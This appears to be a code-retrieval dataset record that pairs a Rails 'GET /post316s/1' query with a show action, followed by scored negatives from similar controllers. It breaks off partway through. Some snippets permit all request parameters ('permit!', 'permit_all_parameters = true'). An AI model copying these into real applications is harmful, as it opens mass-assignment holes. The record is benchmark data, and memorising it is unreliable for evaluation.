reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end", "def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end", "def list_params\n params.permit(:name)\n end", "def filter_parameters; end", "def filter_parameters; end", "def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end", "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end", "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def url_whitelist; end", "def admin_social_network_params\n params.require(:social_network).permit!\n end", "def filter_params\n params.require(:filters).permit(:letters)\n end", "def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end", "def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end", "def sensitive_params=(params)\n @sensitive_params = params\n end", "def permit_request_params\n params.permit(:address)\n end", "def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end", "def secure_params\n params.require(:location).permit(:name)\n end", "def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end", "def question_params\n params.require(:survey_question).permit(question_whitelist)\n end", "def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end", "def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end", "def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end", "def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end", "def url_params\n params[:url].permit(:full)\n end", "def backend_user_params\n params.permit!\n end", "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end", "def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end", "def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end", "def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end", "def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end", "def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end", "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end" ]
[ "0.69792545", "0.6781151", "0.67419964", "0.674013", "0.6734356", "0.6591046", "0.6502396", "0.6496313", "0.6480641", "0.6477825", "0.64565", "0.6438387", "0.63791263", "0.63740575", "0.6364131", "0.63192815", "0.62991166", "0.62978333", "0.6292148", "0.6290449", "0.6290076", "0.62894756", "0.6283177", "0.6242471", "0.62382483", "0.6217549", "0.6214457", "0.6209053", "0.6193042", "0.6177802", "0.6174604", "0.61714715", "0.6161512", "0.6151757", "0.6150663", "0.61461", "0.61213595", "0.611406", "0.6106206", "0.6105114", "0.6089039", "0.6081015", "0.6071004", "0.60620916", "0.6019971", "0.601788", "0.6011056", "0.6010898", "0.6005122", "0.6005122", "0.6001556", "0.6001049", "0.59943926", "0.5992201", "0.59909594", "0.5990628", "0.5980841", "0.59669393", "0.59589154", "0.5958826", "0.5957911", "0.5957385", "0.5953072", "0.59526145", "0.5943361", "0.59386164", "0.59375334", "0.59375334", "0.5933856", "0.59292704", "0.59254247", "0.5924164", "0.59167904", "0.59088355", "0.5907542", "0.59064597", "0.5906243", "0.5898226", "0.589687", "0.5896091", "0.5894501", "0.5894289", "0.5891739", "0.58860534", "0.5882406", "0.587974", "0.58738774", "0.5869024", "0.58679986", "0.5867561", "0.5865932", "0.5864461", "0.58639693", "0.58617616", "0.5861436", "0.5860451", "0.58602303", "0.5854586", "0.58537364", "0.5850427", "0.5850199" ]
0.0
-1
private def input_is_not_already_assigned_to_food return true if self.food.nil? || self.input.nil? unless Input.where(food_id: self.food_id, input_id: self.input_id).to_a.empty? errors.add(:base, "Item is already in system") end end
def send_reminder if Date.today == expiration_date - 1 ReminderMailer.food_reminder_msg(@user).deliver flash[:notice] = "#{@user.username} has been notified by email." end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def check_for_foods\n foods = Food.where(:food_category_id => self.id)\n if foods.any?\n self.errors.add :base,\"Cannot delete food category while dependant foods exist.\"\n return false\n end\n end", "def precheck_clearancing_error\n potential_item = Item.find_by(id: @item_id)\n\n if !@item_id.is_a?(Integer) || @item_id == 0\n @errors << \"Item id #{@item_id} is not valid\"\n\n elsif potential_item && potential_item.status == 'clearanced'\n # NOTE: The catch at the end is there just to satisfy a spec condition. Not super happy about that.\n @errors << \"Item id #{@item_id} already clearanced into Batch #{potential_item.clearance_batch.id if potential_item.clearance_batch}\"\n\n elsif !potential_item\n @errors << \"Item id #{@item_id} could not be found\"\n\n elsif Item.sellable.where(id: @item_id).none?\n @errors << \"Item id #{@item_id} could not be clearanced\"\n\n else\n false\n\n end\n\n end", "def update_existing?\n !self.errors.any? && !item_return? && exists?\n end", "def no_duplicates\n if BabyFood.find_by(flavor: flavor, category_id: category_id)\n errors.add(:flavor, 'has already been added for that category')\n end\n end", "def must_have_at_least_one_ingredient\n errors.add(:ingredients, \"must exist!\") if self.ingredients.empty?\n end", "def validate\n errors.add_to_base \"Enter atleast one product\" if items.empty?\n end", "def valid_input?(id_list)\n return false if id_list.empty?\n id_list.each do |id, quan|\n return false unless Product.where(\"id =?\", id).first\n return false if (quan.nil? || quan <=0)\n end\n end", "def has_invalid_items?\n unless @offer[:items].empty? || @offer[:items].select { |item_name|\n !Inventory.items_and_values.include?(item_name)}.empty?\n add_error(:offer, :items, \"There is an invalid item in the list\")\n error = true\n end\n unless @for[:items].empty? || @for[:items].select { |item_name|\n !Inventory.items_and_values.include?(item_name)}.empty?\n add_error(:for, :items, \"There is an invalid item in the list\")\n error = true\n end\n\n error ||= false\n end", "def already_exist?\n item = Item.find(order_item_params[:item_id])\n\n exist = false\n \n current_order.order_items.each do |order_item|\n if order_item.item.id == item.id\n exist = true\n end\n end\n\n return exist\n end", "def food_item?\n @itype_id == 3\n end", "def ensure_not_referenced_by_any_item\n\t\tunless items.empty?\n\t\t\terrors.add(:base, 'Na stanie są sztuki tego produktu')\n\t\t\tthrow :abort\n\t\tend\n\tend", "def ensure_not_referenced_by_any_line_item\nif line_items.empty?\nreturn true\nelse\nerrors.add(:base, 'Line Items present')\nreturn false\nend\nend", "def ensure_not_referenced_by_any_line_item\nif line_items.empty?\nreturn true\nelse\nerrors.add(:base, 'Line Items present')\nreturn false\nend\nend", "def ensure_not_referenced_by_any_line_item\nif line_items.empty?\nreturn true\nelse\nerrors.add(:base, 'Line Items present')\nreturn false\nend\nend", "def ensure_not_referenced_by_any_line_item\nif line_items.empty?\nreturn true\nelse\nerrors.add(:base, 'Line Items present')\nreturn false\nend\nend", "def validate_items\n not(empty_item_list? or has_invalid_items? ||\n has_different_point_values?) ? true : false\n end", "def ensure_not_referenced_by_any_line_item\n\tif line_items.count.zero?\nreturn true\nelse\nerrors.add(:base, 'Line Items present' )\nreturn false\n end\nend", "def ensure_not_referenced_by_any_item\n if items.empty?\n return true\n else\n errors.add(:base, ' Items present')\n return false\n end\n end", "def ensure_not_item_calendario\n \t\tif item_calendarios.empty?\n \t\t\treturn true\n \t\telse\n \t\t\terrors.add(:base, 'Usted tiene Curso(s) registrado(s)')\n \t\t\treturn false\n \t\tend\n \tend", "def edit_missing\n @punch.arrival and @punch.departure and raise \"Nulla da inserire\"\n end", "def change_item_required?\n self.change_class_set? && \n self.change_type_set? &&\n self.change_type.change_items.size > 0\n end", "def pick_up_checks(input)\n \n if find_item_by_id(input).pick_up_dependency_met\n put_item_in_inventory(input)\n\n else\n @pick_up_rules.each do |rule|\n slow_type(\"#{rule[:message]}\") if rule[:item_id] == input\n reset_game if input == 7 \n end\n end\n\n end", "def ensure_not_referenced_by_any_line_item\n if basket_items.empty?\n return true\n else\n errors.add(:base, 'Basket Items present')\n return false\n end\n end", "def ensure_not_referenced_by_any_line_item\nif line_items.count.zero?\nreturn true\nelse\nerrors[:base] << \"Line Items present\"\nreturn false\nend\nend", "def num_input?\r\n @num_input_variable_id > 0\r\n end", "def only_one_deal_of_each_type\n errors.add(:type, \"– You have already created a #{type} for #{product.name}. Please remove the existing deal before creating a new one.\") unless\n Deal.where({ product_id: product_id, type: type }).count.zero? or Deal.where({ product_id: product_id, type: type }).first.id == id\n end", "def ensure_not_referenced_by_any_line_item\n\nif line_items.count.zero?\nreturn true\nelse\nerrors[:base] << \"Line Items present\"\nreturn false\nend\nend", "def ensure_not_product_item\n\t\tif product_items.empty?\n\t\t\treturn true\n\t\telse\n\t\t\terrors.add(:base, 'This item is in a shopping cart')\n\t\t\treturn false\n\t\tend\n\t\t\t\n\t\t\t\n\tend", "def no_duplicate_items_in_vouch_list\n vouch_list = wish_list.user.vouch_list_primary\n return if vouch_list.nil?\n\n if vouch_list.vouch_items.find_by_business_id(self.business_id).present?\n errors.add(:vouch_list, \"already contains item \\\"#{self.business.name}\\\".\")\n end\n end", "def ensure_not_referenced_by_any_line_item\n\tif line_items.count.zero?\nreturn true\nelse\nerrors[:base] << \"Line Items present\"\nreturn false\nend\nend", "def ensure_not_referenced_by_any_line_item\n \t\tif line_items.empty?\n \t\t\treturn true\n \t\telse\n \t\t\terrors.add(:base, 'Existe linha de item')\n\t\t \treturn false\n \t\tend\n \tend", "def ensure_not_referenced_by_any_line_item \n if line_items.empty? \n return true \n else \n errors.add(:base, 'Line Items present') \n return false \n end \n end", "def ensure_not_referenced_by_any_item_line\n if item_lines.empty?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\nend", "def ensure_not_referenced_by_any_line_item\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end", "def ensure_not_referenced_by_any_line_item\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end", "def ensure_not_referenced_by_any_line_item\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end", "def ensure_unique_athlete_per_prediction\n \terrors.add(:athlete_id, \"Already chosen\") if @duplicate_athlete_ids.present? and @duplicate_athlete_ids.include?(athlete_id)\n\tend", "def control_sin_items_comprobantes\n if [detalles].any? {|detalle| detalle.any? }\n self.errors[:base] = \"error que queres hacer?\"\n return false\n end \n end", "def displace_item_must_be_displaceable\n return unless displace_item && fund_item\n unless displaceable_items.include?( displace_item )\n errors.add :displace_item, \"cannot be displaced by this item\"\n end\n end", "def valid_selection?\n @selections.include?(@input)\n end", "def did_anyone_buy_this_thing?\n if line_items.empty?\n return true \n else\n errors.add(:base, 'Line Items Present')\n return false\n\n end\n end", "def item_choice?\r\n @item_choice_variable_id > 0\r\n end", "def ensure_not_referenced_by_any_line_item\n\n if line_items.count.zero?\n return true\n else\n errors[:base] << \"Line Items present\"\n return false\n\nend\nend", "def validate_items_do_not_belong_to_other_tags\n other_occurences = other_tags_of_same_type.\n joins(:item_tags).\n where(item_tags: {item_id: self.items.map(&:id)}).count\n\n if other_occurences > 0\n self.errors.add(:base, \"can not contain items that \"\\\n \"belong to another #{self.class.to_s.downcase}\")\n end\n end", "def at_least_one_indicator_target_exist \n #when not even 1 set exist(indicator_desc+target+achievement+progress )\n if half==2 && (indicator_desc_quality.blank? && target_quality.blank? && achievement_quality.blank? && progress_quality.blank?) && (indicator_desc_time.blank? && target_time.blank? && achievement_time.blank? && progress_time.blank?) && (indicator_desc_quantity.blank? && target_quantity.blank? && achievement_quantity.blank? && progress_quantity.blank?) && (indicator_desc_cost.blank? && target_cost.blank? && achievement_cost.blank? && progress_cost.blank?)\n return false \n errors.add(\"aa\",\"error la\")\n# elsif id.nil? && half==2 \n# \n# #when user selected 'Sent to PPP for Report' - with INCOMPLETE NEWly inserted xtvt(not yet saved) - (render fields although record not yet saved due to errors)\n# #RESTRICTIONS : requires 'Target fields' to be completed for repeating fields to be rendered when error occurs\n# if ( !indicator_desc_quality.blank? && !target_quality.blank? && !achievement_quality.blank? && !progress_quality.blank?)\n# return true\n# else\n# return false\n# end\n# if ( !indicator_desc_time.blank? && !target_time.blank? && !achievement_time.blank? && !progress_time.blank?)\n# return true\n# else\n# return false\n# end\n# if ( !indicator_desc_quantity.blank? && !target_quantity.blank? && !achievement_quantity.blank? && progress_quantity.blank?)\n# return true\n# else\n# return false\n# end\n# if ( !indicator_desc_cost.blank? && !target_cost.blank? && !achievement_cost.blank? && !progress_cost.blank?)\n# return true\n# else\n# return false\n# end\n\n elsif half==1 && (indicator_desc_quality.blank? && target_quality.blank?) && (indicator_desc_time.blank? && target_time.blank?) && (indicator_desc_quantity.blank? && target_quantity.blank?) && (indicator_desc_cost.blank? && target_cost.blank?)\n return false\n end\n end", "def saved_already?\n @id != \"\" && @id != nil\n end", "def must_have_no_duplicate_products\n seen = []\n items.each do |item|\n if seen.include?(item.product.uuid) then\n errors.add(:items, \"cannot have duplicate products\")\n else\n seen << item.product.uuid\n end\n end\n end", "def get_user_item_if_valid(items_type, input_items)\n possible_item = gets.chomp.strip.gsub(/\\s+/, \" \")\n if possible_item.empty?\n puts \"Please provide a #{items_type}\"\n elsif input_items.any? { |item| item.casecmp?(possible_item) } # no duplicates\n puts \"Please provide a non-duplicate for #{items_type}\"\n else\n return possible_item\n end\nend", "def is_duplicate_request?\n errors.add(:duplicate, \"transfer request.\") if self.class.where(sadhak_profile_id: self.sadhak_profile_id, from_club_id: self.from_club_id, to_club_id: self.to_club_id, status: self.class.statuses['requested']).count > 0\n errors.empty?\n end", "def ensure_not_referenced_by_any_line_item\n if line_items.count.zero?\n return true\n else\n errors[:base] << \"Line Items present\" #这是什么意思\n return false\n end\n end", "def ensure_not_referenced_by_any_line_item \n\t\tif line_items.empty?\n\t\t\treturn true \n\t\telse\n\t\t\terrors.add(:base, 'Line Items present')\n\t\treturn false\n\t\tend\n\tend", "def line_item_items_exist_in_inventory\n self.line_items.each do |line_item|\n next unless line_item.item\n inventory_item = self.from.inventory_items.find_by(item: line_item.item)\n if inventory_item.nil?\n errors.add(:inventory,\n \"#{line_item.item.name} is not available \" \\\n \"at this storage location\")\n end\n end\n end", "def valid_entry\n return if disabled\n\n cond = { name: name, user: user, role_name: role_name, app_type: app_type }\n res = self.class.active.where(cond).first\n raise FphsException, \"Invalid configuration name: #{name}\" unless name.in? self.class.configurations\n\n return unless res && ((persisted? && res.id != id) || !persisted?)\n\n raise FphsException,\n \"This item already exists (#{name} user: #{user_id} role_name: #{role_name} app_type: #{app_type_id})\"\n end", "def ensure_not_referenced_by_any_line_item \n \tif line_items.empty?\n return true \n else\n errors.add(:base, 'Line Items present')\n return false \n end\n end", "def must_not_be_a_project_observation\n\n if ProjectObservation.first(:conditions => {:observation_id => self.observation_id, :project_id => self.project_id})\n errors.add(:observation_id, \"can't be used to make invitation when project_observation exists for same observation_id and project_id\")\n end\n true\nend", "def ensure_not_referencing_by_any_line_item\n if line_items.empty?\n return true\n else\n errors.add(:base,'Line Items presents')\n return false\n end\n end", "def matched_item_and_model\n return unless equipment_item\n return unless equipment_model\n return unless equipment_item.equipment_model != equipment_model\n errors.add(:base, equipment_item.name + ' must be of type '\\\n + equipment_model.name + \".\\n\")\n end", "def ensure_not_referenced_by_any_line_item \n if line_items.count.zero?\n return true\n else\n errors[:base] << \"Line Items present!\"\n return false\n end\n end", "def ensure_not_referenced_by_any_line_item\nunless line_items.empty?\nerrors.add(:base, 'Line Items present')\nthrow :abort\nend\nend", "def ensure_not_referenced_by_any_line_item\nunless line_items.empty?\nerrors.add(:base, 'Line Items present')\nthrow :abort\nend\nend", "def ensure_not_referenced_by_any_line_item\nunless line_items.empty?\nerrors.add(:base, 'Line Items present')\nthrow :abort\nend\nend", "def bookkept_validation?\n !(bookkept_by_id_was.nil? || id.nil?)\n end", "def ensure_not_referenced_by_any_line_item\n\tif line_items.empty?\n \t return true\n \telse\n \t errors.add(:base, 'Line Items present' )\n \treturn false\n \tend\n end", "def ensure_not_referenced_by_any_line_item\n\t\tif line_items.empty?\n\t\t\treturn true\n\t\telse\n\t\t\terrors.add(:base, 'Product sedang di referensikan oleh Line Item')\n\t\t\treturn false\n\t\tend\n\tend", "def is_exempt(item_name)\n # Check books\n if @@exemption_list_books.any? { |s| item_name.include? s }\n return true\n end\n\n # Check food\n if @@exemption_list_food.any? { |s| item_name.include? s }\n return true\n end\n\n # Check medical\n if @@exemption_list_medical.any? { |s| item_name.include? s }\n return true\n end\n\n end", "def ensure_not_referenced_by_any_line_item\n \tif line_items.empty?\n \t\treturn true\n \telse\n \t\terrors.add(:base, 'Line Items present')\n \t\treturn false\n \tend \t\t\n end", "def not_a_duplicate\n if Handbag.find_by(brand: brand, color: color, designer_id: designer_id)\n errors.add(:brand, 'is already in database')\n end\nend", "def ensure_not_referenced_by_any_line_item\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end", "def ensure_not_referenced_by_any_cart_item\n if cart_items.empty?\n return true\n else\n errors.add(:base, 'Cart Items present')\n return false\n end\n end", "def ensure_not_referenced_by_any_line_item_product\n unless line_item_products.empty?\n errors.add(:base, 'Line Items Products present')\n throw :abort\n end\n end", "def ensure_not_referenced_by_any_product\n if products.empty?\n return true\n else\n errors.add(:base, 'Kann nicht geloescht werden! Es gibt Produkte dieser Marke!')\n return false\n end\n end", "def empty_item_list?\n if @offer[:items] && @offer[:items].empty?\n error = true\n add_error(:offer, :items, \"Empty item-list is not allowed\")\n end\n\n if @for[:items] && @for[:items].empty?\n error = true\n add_error(:for, :items, \"Empty item-list is not allowed\")\n end\n\n error ||= false\n end", "def valid?\n validate_field_types\n # only do a database query if you have good enough data to check the database\n if @errors.length == 0\n if duplicate_user_assignment?\n @errors << \n {message: \n \"The database already has this user and assignment combination. It is record \n #{this_user_and_assignment.id}. Change this assignment or user or the assignment or user of that record.\", \n variabe: \"assignment_id, user_id\"}\n end\n end \n @errors.length == 0\n end", "def ensure_not_referenced_by_any_line_item\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Existuju polozky')\n return false\n end\n end", "def ensure_not_referenced_by_any_line_item\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end", "def ensure_not_referenced_by_any_line_item #in this case before destroy a row in the database\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Itens present')\n return false\n end\n end", "def is_empty?\n if self.order_details.any? == false\n errors.add(:base,\"order shold have minimum one menu item\")\n end\n end", "def normal_item?\n @itype_id == 1\n end", "def check_uniqueness\n if !self.id && Robot.all().any?\n throw(:abort)\n end \n end", "def ensure_not_referenced_by_any_line_item\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end", "def ensure_not_referenced_by_any_line_item\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end", "def valid?\r\n (forcing && item) || subject.usable?(item)\r\n end", "def not_empty?\n if equipment_model.nil?\n errors.add(:base, \"Reservation must be for a piece of equipment.\\n\")\n return false\n end\n return true\n end", "def ensure_not_referenced_by_any_line_item\n\tif line_items.empty?\n\treturn true\n\telse\n\terrors.add(:base, 'Line Items present')\n\treturn false\n\tend\n\tend", "def ensure_not_referenced_by_any_line_item\n if line_items.empty?\n return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end", "def ensure_not_referenced_by_any_line_item\n\tif line_items.empty?\n\treturn true\n\telse\n\terrors.add(:base, 'Line Items present')\n\treturn false\n\tend\nend", "def ensure_not_referenced_by_any_line_item \n if line_items.empty?\n return true \n else\n errors.add(:base, 'Line Items present')\n return false \n end\n end", "def ensure_not_referenced_by_any_recipe\n unless recipes.empty?\n errors.add(:base, ' - recipes present for this ingredient')\n throw :abort\n end\n end", "def ensure_not_referenced_by_any_line_item\n if line_items.empty?\n\t return true\n else\n errors.add(:base, 'Line Items present')\n return false\n end\n end", "def uniqueness\n if Task.exists?(:name => name, :stage_id => stage_id, :factor_id => factor_id) || Task.exists?(:name => name, :parent_task_id => parent_task_id)\n errors[:base] << \"An identical task already exists\"\n end\n end", "def validate_unique_kit_per_group\n if self.class.exists?(:kit_id => kit_id, :group_id => group_id)\n errors.add :kit, 'already exists in this group'\n end\n end", "def ensure_not_referenced_by_any_line_item\n\t\tif line_items.empty?\n\t\t\treturn true\n\t\telse\n\t\t\terrors.add(:base,'Line Items present') #We associate errors with the base object\n\t\t\treturn false\n\t\tend\n\tend", "def check_against_input_for_specials(data)\r\n @field_names[1..-1].each do |f|\r\n raise(ArgumentError,\r\n 'You cannot input a value for this field: %s' % f) if \\\r\n @field_extras[@field_names.index(f)].has_key?('Calculated') \\\r\n or @field_extras[@field_names.index(f)].has_key?('Link_many') \\\r\n and not data[f].nil? \r\n end\r\n end", "def position_taken?(input)\n @board[input] == \"X\" || @board[input] == \"O\"\n end", "def check\n if unique_has_one_association?\n check_unique_has_one\n else\n check_remaining\n end\n end", "def ensure_not_referenced_by_any_line_item \n if line_items.empty?\n return true \n else\n errors.add(:base, 'Line Items present')\n return false \n end\n end", "def put_item_in_inventory(input)\n\n if find_item_by_id(input).canBePickedUp\n unless @inventory.include?(input)\n @inventory << input\n slow_type(\"\\nYou have picked up the #{find_item_by_id(input).name}.\")\n end\n\n else\n slow_type(\"You cannot pick up this item\")\n end\n end", "def ensure_not_referenced_by_any_line_item\n \t if line_items.empty?\n \t \treturn true\n \t else\n \t \terrors.add(:base, 'Line items present')\n \t \treturn false\n \t end\n \tend", "def validate_inputs(operations, inputs_match_outputs: false)\n total_inputs = []\n total_outputs = []\n operations.each do |op|\n total_inputs += op.input_array(INPUT_ARRAY).map! { |fv| fv.sample }\n total_outputs += op.output_array(OUTPUT_ARRAY).map! { |fv| fv.sample }\n end\n\n\n a = total_inputs.detect{ |item| total_inputs.count(item) > 1}\n message = ''\n message += \"Item #{a.id} has been included multiple times in this job,\" if a != nil\n message += 'The number of Input Items and Output\n Items do not match,' if total_inputs.length != total_outputs.length && inputs_match_outputs\n message += 'Too many Items for this job. Please re-launch \n job with fewer Items,' if total_inputs.length > MAX_INPUTS\n message += 'There are no Items for this job.' if total_inputs.length <= 0\n return end_job(operations, message: message) unless message == ''\n false\n end", "def valid(context,input)\n antisamy(context,input)\n end", "def save_item(item)\n begin\n item.save\n rescue ActiveRecord::RecordNotUnique\n item.errors.add :base, :not_unique, message:\n \"An item with the name \\\"#{item.name}\\\" already exists \" +\n \"(in the category \\\"#{Item.find_by(name: item.name).category.name}\\\")\"\n end\n\n return item.errors.empty?\n end" ]
[ "0.6557811", "0.6472273", "0.6462116", "0.63951516", "0.6200444", "0.61385435", "0.6135749", "0.6123899", "0.60898685", "0.60869753", "0.60821474", "0.60813475", "0.60813475", "0.60813475", "0.60813475", "0.60396934", "0.6037503", "0.6023988", "0.5990279", "0.5976777", "0.59696853", "0.59668356", "0.59632283", "0.59626746", "0.5955129", "0.59443444", "0.594229", "0.59412336", "0.5937175", "0.59182507", "0.5917947", "0.59176385", "0.5899501", "0.58931494", "0.58931494", "0.58931494", "0.5881268", "0.58772993", "0.58729076", "0.5868802", "0.5864852", "0.58600515", "0.58496326", "0.5838045", "0.58379495", "0.58274746", "0.58267915", "0.5804751", "0.5797516", "0.57961684", "0.57824516", "0.5780827", "0.5778516", "0.57656974", "0.5754429", "0.57517624", "0.5751126", "0.57511175", "0.5743602", "0.5743602", "0.5743602", "0.57363814", "0.57347393", "0.5721283", "0.56990916", "0.5693463", "0.5692507", "0.5689366", "0.5683606", "0.56831867", "0.5680651", "0.56797034", "0.5678423", "0.5671285", "0.5669577", "0.5662603", "0.5653006", "0.56452394", "0.56421685", "0.5636359", "0.563394", "0.56332135", "0.56321156", "0.56303394", "0.5630083", "0.5622323", "0.561874", "0.5612297", "0.56086653", "0.56052214", "0.5603147", "0.560274", "0.5595657", "0.5593164", "0.5581865", "0.5581058", "0.5580682", "0.5579198", "0.5576878", "0.5574619", "0.5572918" ]
0.0
-1
GET /post316s/1 GET /post316s/1.xml
def show @post316 = Post316.find(params[:id]) respond_to do |format| format.html # show.html.erb format.xml { render :xml => @post316 } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def show\n @post306 = Post306.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post306 }\n end\n end", "def show\n @post154 = Post154.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post154 }\n end\n end", "def show\n @post150 = Post150.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post150 }\n end\n end", "def show\n @post156 = Post156.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post156 }\n end\n end", "def show\n @post157 = Post157.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post157 }\n end\n end", "def show\n @post295 = Post295.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post295 }\n end\n end", "def show\n @post57 = Post57.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post57 }\n end\n end", "def show\n @post260 = Post260.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post260 }\n end\n end", "def show\n @post181 = Post181.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post181 }\n end\n end", "def show\n @post168 = Post168.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post168 }\n end\n end", "def show\n @post174 = Post174.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post174 }\n end\n end", "def show\n @post149 = Post149.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post149 }\n end\n end", "def show\n @post227 = Post227.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post227 }\n end\n end", "def show\n @post217 = Post217.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post217 }\n end\n end", "def show\n @post184 = Post184.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post184 }\n end\n end", "def show\n @post257 = Post257.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post257 }\n end\n end", "def show\n @post318 = Post318.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post318 }\n end\n end", "def show\n @post310 = Post310.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post310 }\n end\n end", "def show\n @post105 = Post105.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post105 }\n end\n end", "def show\n @post182 = Post182.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post182 }\n end\n end", "def show\n @post110 = Post110.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post110 }\n end\n end", "def show\n @post275 = Post275.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post275 }\n end\n end", "def show\n @post350 = Post350.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post350 }\n end\n end", "def show\n @post75 = Post75.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post75 }\n end\n end", "def show\n @post78 = Post78.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post78 }\n end\n end", "def show\n @post470 = Post470.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post470 }\n end\n end", "def show\n @post139 = Post139.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post139 }\n end\n end", "def show\n @post183 = 